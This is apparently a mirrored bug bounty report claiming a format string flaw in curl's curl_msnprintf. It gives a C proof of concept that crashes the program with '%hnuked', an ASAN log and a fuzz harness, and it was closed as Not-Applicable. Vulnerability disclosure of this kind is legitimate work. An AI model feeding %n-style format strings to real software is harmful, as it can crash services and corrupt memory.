Loading HuntDB...

Format string vulnerability, curl_msnprintf() function

Medium
C
curl
Submitted None
Reported by orcahack

Vulnerability Details

Technical details and impact analysis

Use of Externally-Controlled Format String
## Summary: A vulnerability has been identified in the curl library’s formatted output functions (specifically in curl_msnprintf and its related functions). When a malicious (attacker-controlled) format string containing the %hn conversion specifier is passed, the function incorrectly attempts to write the number of characters printed into a pointer that is not provided by the caller. This leads to a misaligned memory write (as demonstrated by a write to address 0x000000000001), resulting in undefined behavior and a crash. Although the API documentation warns that these functions are to be used with controlled format strings, the internal handling of %hn should not lead to such dangerous memory accesses even with untrusted input. The curl_mprintf family (including curl_msnprintf) is designed to behave like standard printf-style functions. According to the documentation, these functions expect a valid format string and matching arguments. However, when a malicious format string such as "%hnuked" is used, no corresponding argument is provided for the %hn specifier. This causes the internal formatting routine (in mprintf.c, line 1047) to dereference an invalid pointer (which turns out to be 0x000000000001) and attempt a store of a short value. Because the address is both misaligned and invalid, this results in a memory safety violation (as detected by AddressSanitizer with a misaligned store error). ## Affected version latest version from git ## Steps To Reproduce: The following C code : ``` #include <stdio.h> #include <curl/mprintf.h> int main(void) { char buffer[256]; const char *malicious_format = "%hnuked"; printf("Using malicious format string: \"%s\"\n", malicious_format); curl_msnprintf(buffer, sizeof(buffer), malicious_format); printf("Formatted output: %s\n", buffer); return 0; } ``` Should be compiled with AddressSanitizer enabled : ` clang-14 -fsanitize=address vuln-curl.c -I include/ -o vuln-curl ./lib/.libs/libcurl.a -lz -lpsl -lbrotlidec ` So running it will result in the following ASAN log : ``` ./vuln-curl Using malicious format string: "%hnuked" mprintf.c:1047:9: runtime error: store to misaligned address 0x000000000001 for type 'short', which requires 2 byte alignment 0x000000000001: note: pointer points here <memory cannot be printed> SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior mprintf.c:1047:9 in AddressSanitizer:DEADLYSIGNAL ================================================================= ==80435==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000001 (pc 0x5d47e8ac3191 bp 0x7fff9e689450 sp 0x7fff9e6877e0 T0) ==80435==The signal is caused by a WRITE memory access. ==80435==Hint: address points to the zero page. #0 0x5d47e8ac3191 in formatf /home/test/Documents/curl/lib/mprintf.c:1047:34 #1 0x5d47e8abf553 in curl_mvsnprintf /home/test/Documents/curl/lib/mprintf.c:1080:13 #2 0x5d47e8ac49ad in curl_msnprintf /home/test/Documents/curl/lib/mprintf.c:1100:13 #3 0x5d47e8abf2ed in main (/home/test/Documents/curl/vuln-curl+0x2bb2ed) (BuildId: 9d173a19c9f17931aa243f138ec604086bb81fa9) #4 0x70b736e29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #5 0x70b736e29e3f in __libc_start_main csu/../csu/libc-start.c:392:3 #6 0x5d47e8a015e4 in _start (/home/test/Documents/curl/vuln-curl+0x1fd5e4) (BuildId: 9d173a19c9f17931aa243f138ec604086bb81fa9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/test/Documents/curl/lib/mprintf.c:1047:34 in formatf ==80435==ABORTING ``` The following supporting libfuzzer harness will also trigger the same bug : ``` #include <cstring> #include <random> #include "curl_hmac.h" extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { if (size == 0) return 0; // Create a buffer to hold the formatted string char buffer[256]; // Ensure the input data is null-terminated std::vector<uint8_t> null_terminated_data(data, data + size); null_terminated_data.push_back(0); // Use curl_msnprintf to format the input data curl_msnprintf(buffer, sizeof(buffer), reinterpret_cast<const char *>(null_terminated_data.data())); // Open a file to write the output FILE *out_file = fopen("output_file", "wb"); if (!out_file) { return 0; } // Write the formatted string to the file fwrite(buffer, sizeof(char), strlen(buffer), out_file); fclose(out_file); // Simulate a CURLUcode error and get the error string CURLUcode error_code = CURLUE_BAD_HANDLE; const char *error_str = curl_url_strerror(error_code); // Open the input data as a file for reading FILE *in_file = fmemopen((void *)data, size, "rb"); if (in_file) { // Read headers from the input file using curl_pushheader_byname struct curl_pushheaders *headers = nullptr; char *header_value = curl_pushheader_byname(headers, "Content-Type"); if (header_value) { free(header_value); } fclose(in_file); } return 0; } ``` Recommendation: Review and adjust the internal handling of dangerous conversion specifiers (such as %n and %hn) in the curl_mprintf implementation. Consider sanitizing or outright rejecting format strings that contain %n conversions when they could result in writing to uncontrolled memory locations. References: curl_mprintf documentation ASAN output from the reproduction scenario ## Impact ## Summary: Crash: In a scenario where untrusted input reaches curl_msnprintf (or similar functions), an attacker could force a denial-of-service by crashing the application. Potential Exploitability: Although the immediate impact is a crash, memory corruption—even with a 2-byte misaligned write—could be leveraged further in some environments to achieve code execution, depending on additional context and heap state.

Report Details

Additional information and metadata

State

Closed

Substate

Not-Applicable

Submitted

Weakness

Use of Externally-Controlled Format String